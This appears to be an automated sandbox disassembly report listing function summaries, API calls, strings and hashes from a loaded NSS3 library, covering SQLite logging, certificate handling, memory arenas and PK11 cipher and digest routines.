sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CC0BB62,00000004,6CC74CA4,?,?,00000000,?,?,6CAE31DB), ref: 6CB260AB
sqlite3_config.NSS3(00000004,6CC74CA4,6CC0BB62,00000004,6CC74CA4,?,?,00000000,?,?,6CAE31DB), ref: 6CB260EB
sqlite3_config.NSS3(00000012,6CC74CC4,?,?,6CC0BB62,00000004,6CC74CA4,?,?,00000000,?,?,6CAE31DB), ref: 6CB26122

Strings

misuse, xrefs: 6CB2609F
%s at line %d of [%.10s], xrefs: 6CB260A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB26095

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: a57eaedc86cbe66f95b2ff7581dd6ffdf8c5e12760e5946abbbc91acc7236140
Instruction ID: 5eabe52d7b43584989027952dad530cef90a97331d8a3001fce41ccba599e28f
Opcode Fuzzy Hash: a57eaedc86cbe66f95b2ff7581dd6ffdf8c5e12760e5946abbbc91acc7236140
Instruction Fuzzy Hash: 06B1A170E0424ACFDB09CF99D2949BDB7F0FB1E304B01815DD509AB322E734AA95EB95

Function 6CAD4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAD51BB

Strings

misuse, xrefs: 6CAD51AF
%s at line %d of [%.10s], xrefs: 6CAD51B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAD51A5
unable to delete/modify user-function due to active statements, xrefs: 6CAD51DF

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: bd469c1743ea765c41ce8d714b2e0a401a4b978b40a419cdd8628f3ae32b202e
Instruction ID: fe2399570a3f18cdd729060daeec54d74ab6087035b1bb428902384bffc07bed
Opcode Fuzzy Hash: bd469c1743ea765c41ce8d714b2e0a401a4b978b40a419cdd8628f3ae32b202e
Instruction Fuzzy Hash: 7171ACB1A0420A9FEB00CF15CC80B9A77B9FB48308F0A4524FD199BA91D731ED95CBA1

Function 6CB42D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CB42D69

Strings

winTruncate1, xrefs: 6CB42EBE
winUnmapfile2, xrefs: 6CB42F7F
winSeekFile, xrefs: 6CB42E9C
winUnmapfile1, xrefs: 6CB42F55
winTruncate2, xrefs: 6CB42EF8

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: b33ed70a70a0cd75c40958b4f22303cb2430425ceb4b84f1d2bcbffba5d9f83b
Instruction ID: 5f0ac73ab0d152b8f4913c5dabd9e094c7a089fe58e5a33cd125440dfb9efa11
Opcode Fuzzy Hash: b33ed70a70a0cd75c40958b4f22303cb2430425ceb4b84f1d2bcbffba5d9f83b
Instruction Fuzzy Hash: 0961AF71A042059FDB04CFA8DC98A6E77B5FF49314F10822CE915DB790EB31AD06EB92

Function 6CBBFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CBBF165,?), ref: 6CBBFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CBBF165,?), ref: 6CBBFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CBBF165,?), ref: 6CBBFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CBBF165,?), ref: 6CBBFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CBBF165,?), ref: 6CBBFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CBBF165,6CC8219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBBFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CBBF165,?), ref: 6CBC00A6

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: aca42e80eae8eda12bb771143e937009465d44a27a344192502b21387a93ce5d
Instruction ID: a53b038cdf26ba533ebaa256cac1b3c5c9cf60c0e28aed3947063ff387a13876
Opcode Fuzzy Hash: aca42e80eae8eda12bb771143e937009465d44a27a344192502b21387a93ce5d
Instruction Fuzzy Hash: DD5105B5F052999BDF108E99D8807BEB7B9FB49318F6A0129DC15A7B40D731AC00CBD2

Function 6CB7DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB7DF37
EnterCriticalSection.KERNEL32(?), ref: 6CB7DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB7DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CB7E02B
PR_Unlock.NSS3(?), ref: 6CB7E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB7E090
PR_Unlock.NSS3(?), ref: 6CB7E0AF

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: a892ba873d87eaecd216ab0a2bc40aff28a1053ab1815a0c4720ad0fbfe0d513
Instruction ID: f406b5d069931c4621a19eb84bb2b3f62fed3c9614fab9e3a0573d9ab2958e00
Opcode Fuzzy Hash: a892ba873d87eaecd216ab0a2bc40aff28a1053ab1815a0c4720ad0fbfe0d513
Instruction Fuzzy Hash: FE51A2316006809FDB309F25E849B9E73B9FF45318F204529EC7A87B91D731E958CBA2

Function 6CB7BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CB7BD1E

Part of subcall function 6CB52F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB52F0A
Part of subcall function 6CB52F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB52F1D

Part of subcall function 6CB957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CB5B41E,00000000,00000000,?,00000000,?,6CB5B41E,00000000,00000000,00000001,?), ref: 6CB957E0
Part of subcall function 6CB957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CB95843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB7BD8C

Part of subcall function 6CBAFAB0: free.MOZGLUE(?,-00000001,?,?,6CB4F673,00000000,00000000), ref: 6CBAFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CB7BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CB7BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB7BE3A

Part of subcall function 6CB53E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB53EC2
Part of subcall function 6CB53E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB53ED6
Part of subcall function 6CB53E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB53EEE
Part of subcall function 6CB53E60: PR_CallOnce.NSS3(6CCB2AA4,6CBB12D0), ref: 6CB53F02
Part of subcall function 6CB53E60: PL_FreeArenaPool.NSS3 ref: 6CB53F14
Part of subcall function 6CB53E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB53F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB7BE52

Part of subcall function 6CB52E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB52CDA,?,00000000), ref: 6CB52E1E
Part of subcall function 6CB52E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CB52E33
Part of subcall function 6CB52E00: TlsGetValue.KERNEL32 ref: 6CB52E4E
Part of subcall function 6CB52E00: EnterCriticalSection.KERNEL32(?), ref: 6CB52E5E
Part of subcall function 6CB52E00: PL_HashTableLookup.NSS3(?), ref: 6CB52E71
Part of subcall function 6CB52E00: PL_HashTableRemove.NSS3(?), ref: 6CB52E84
Part of subcall function 6CB52E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CB52E96
Part of subcall function 6CB52E00: PR_Unlock.NSS3 ref: 6CB52EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB7BE61

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 5acfcb6dc48fdc8815eefae9ca25dc3e46e3314da2ac7265554f08fdbb0fccbc
Instruction ID: 0d0a79056a21c81b0c05ddc9be75afb661213f5a2ab1255a147f88c30ff3dda8
Opcode Fuzzy Hash: 5acfcb6dc48fdc8815eefae9ca25dc3e46e3314da2ac7265554f08fdbb0fccbc
Instruction Fuzzy Hash: 3D41D0B5A00250AFC720CF68DC80AAA77E4EB49718F108568FD5997B11E731ED19CBA2

Function 6CB9AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CB9AB3E,?,?,?), ref: 6CB9AC35

Part of subcall function 6CB7CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CB7CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CB9AB3E,?,?,?), ref: 6CB9AC55

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB9AB3E,?,?), ref: 6CB9AC70

Part of subcall function 6CB7E300: TlsGetValue.KERNEL32 ref: 6CB7E33C
Part of subcall function 6CB7E300: EnterCriticalSection.KERNEL32(?), ref: 6CB7E350
Part of subcall function 6CB7E300: PR_Unlock.NSS3(?), ref: 6CB7E5BC
Part of subcall function 6CB7E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CB7E5CA
Part of subcall function 6CB7E300: TlsGetValue.KERNEL32 ref: 6CB7E5F2
Part of subcall function 6CB7E300: EnterCriticalSection.KERNEL32(?), ref: 6CB7E606
Part of subcall function 6CB7E300: PORT_Alloc_Util.NSS3(?), ref: 6CB7E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CB9AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB9AB3E), ref: 6CB9ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CB9AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CB9AD2B

Part of subcall function 6CB7F360: TlsGetValue.KERNEL32(00000000,?,6CB9A904,?), ref: 6CB7F38B
Part of subcall function 6CB7F360: EnterCriticalSection.KERNEL32(?,?,?,6CB9A904,?), ref: 6CB7F3A0
Part of subcall function 6CB7F360: PR_Unlock.NSS3(?,?,?,?,6CB9A904,?), ref: 6CB7F3D3

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 639f99cecf52a89997faa4088c4dd4f91635c018e38c0b9924ba1ce7e68f5470
Instruction ID: d0574bfea8c519c00feb5254163647f0e0fa2217ec9d32445c1e321c32255637
Opcode Fuzzy Hash: 639f99cecf52a89997faa4088c4dd4f91635c018e38c0b9924ba1ce7e68f5470
Instruction Fuzzy Hash: DE3159B1E002555FEB00CF69DC409AF77B6EF85328B198539E815ABB40EB30EC058BB1

Function 6CB78C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CB78C7C

Part of subcall function 6CC19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC60A27), ref: 6CC19DC6
Part of subcall function 6CC19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC60A27), ref: 6CC19DD1
Part of subcall function 6CC19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC19DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB78CB0
TlsGetValue.KERNEL32 ref: 6CB78CD1
EnterCriticalSection.KERNEL32(?), ref: 6CB78CE5
PR_Unlock.NSS3(?), ref: 6CB78D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CB78D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB78D93

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: cdc98a57eeb4c1558ed6880dcdc0daea2d503fe94221af1ccbde13b9e39b7cfd
Instruction ID: 09fececa3e38555a9383347ab7f0cf00ac8b5623a0bb254af7af5925605fa584
Opcode Fuzzy Hash: cdc98a57eeb4c1558ed6880dcdc0daea2d503fe94221af1ccbde13b9e39b7cfd
Instruction Fuzzy Hash: D1316671A04251AFE7209F68DD447AAB7B4FF04318F10013AEE2977B90D772A924C7E2

Function 6CBB9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CBB9C5B), ref: 6CBB9D82

Part of subcall function 6CBB14C0: TlsGetValue.KERNEL32 ref: 6CBB14E0
Part of subcall function 6CBB14C0: EnterCriticalSection.KERNEL32 ref: 6CBB14F5
Part of subcall function 6CBB14C0: PR_Unlock.NSS3 ref: 6CBB150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CBB9C5B), ref: 6CBB9DA9

Part of subcall function 6CBB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB4F599,?,00000000), ref: 6CBB136A
Part of subcall function 6CBB1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CB5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB4F599,?,00000000), ref: 6CBB137E
Part of subcall function 6CBB1340: PL_ArenaGrow.NSS3(?,6CB4F599,?,00000000,?,6CB5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB4F599,?), ref: 6CBB13CF
Part of subcall function 6CBB1340: PR_Unlock.NSS3(?,?,6CB5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB4F599,?,00000000), ref: 6CBB145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CBB9C5B), ref: 6CBB9DCE

Part of subcall function 6CBB1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB5895A,00000000,?,00000000,?,00000000,?,00000000,?,6CB4F599,?,00000000), ref: 6CBB13F0
Part of subcall function 6CBB1340: PL_ArenaGrow.NSS3(?,6CB4F599,?,?,?,00000000,00000000,?,6CB5895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CBB1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CBB9C5B), ref: 6CBB9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CBB9C5B), ref: 6CBB9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CBB9C5B), ref: 6CBB9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CBB9C5B), ref: 6CBB9E91

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

Part of subcall function 6CBB1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CBAFAAB,00000000), ref: 6CBB157E
Part of subcall function 6CBB1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CBAFAAB,00000000), ref: 6CBB1592
Part of subcall function 6CBB1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CBB1600
Part of subcall function 6CBB1560: PL_ArenaRelease.NSS3(?,?), ref: 6CBB1620
Part of subcall function 6CBB1560: PR_Unlock.NSS3(?), ref: 6CBB1639

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 5bcef248ac3adb3af02bb9bb4b567c224f7f5a403356852ce70283291ce41d3d
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: A24182B4901646AFE740DF15D840BA6B7B5FF55348F548128E8185BFA0EB72E838CF91

Function 6CB7DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CB7DDEC

Part of subcall function 6CBB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CB7DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CB7DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CB7DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CB7DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB7DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB7DECC

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: dae277e43474ad30d67eeb9389c9a09f65e412a12d065edf924732498abbded6
Instruction ID: e884e5bac6561d62660301687686d40cc58fbf47d3b9fab425836b6c3addaf0c
Opcode Fuzzy Hash: dae277e43474ad30d67eeb9389c9a09f65e412a12d065edf924732498abbded6
Instruction Fuzzy Hash: 8F31E4B29002546BEF21AA79BC40BBF76B8DF54648F050139EC29A7701FB31D91887F2

Function 6CB57E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB57E48

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CB57E5B

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

